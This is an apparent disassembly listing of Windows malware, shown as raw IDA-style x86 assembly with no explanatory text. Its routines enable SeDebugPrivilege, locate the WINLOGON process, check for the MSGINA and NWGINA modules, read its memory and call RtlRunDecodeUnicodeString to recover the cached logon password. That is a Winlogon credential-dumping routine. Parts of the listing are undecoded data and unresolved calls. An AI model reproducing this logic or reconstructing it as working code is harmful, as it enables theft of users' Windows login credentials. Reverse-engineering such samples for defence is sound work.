		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383FC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB93C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB93C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438438
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 0E8905359h, 22E8E94h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84A068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0D9E8FC75h, 9002388Dh, 8F75C085h, 90FC75FFh,	1C8DCBE8h
		dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h,	0C0850238h
		dd 9056B175h, 1C8D47E8h, 1C458B02h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438678
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26C0B72h
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D483C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4830, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A40, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4838, eax
		call	esi
		mov	dword_4D4834, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3830
		push	edi
		push	ebx
		push	offset off_4385B4
		call	esi
		push	edi
		mov	edi, offset dword_4D4030
		push	edi
		push	offset off_43859C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A48
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A48, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438540
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438508
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384DC


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27E0799h
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384A8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D483C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27F0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D483C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4830
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A40
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4838


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27F0000h
		nop
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4838


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26A072Ah
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 281024Fh
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2800CB5h
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3830
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4030
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 279060Eh
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2790000h
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A54, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A4C, eax
		mov	dword_4D4A50, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 27F0000h
		nop
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		call	near ptr 2680000h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26A072Ah
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 281024Fh
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2800CB5h
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 2800000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3830
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4030
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27F0000h
		nop
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2680000h


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A4C, ebx
		mov	dword_4D4A50, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2680000h
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A48
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2800000h
		mov	ecx, dword_4D4A48
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A50
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A54
		push	eax
		call	dword_4D4834
		push	[ebp+var_4]
		mov	edi, offset dword_4D4840
		push	offset dword_4D3830
		push	offset dword_4D4030
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27F0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A48
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 2800C43h
		nop
		push	eax
		nop
		call	near ptr 2800000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4030
		mov	edi, 200h
		mov	esi, offset dword_4D3630


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A48
		add	eax, eax
		push	eax
		push	dword_4D4A50
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4834
		mov	eax, dword_4D4A48
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
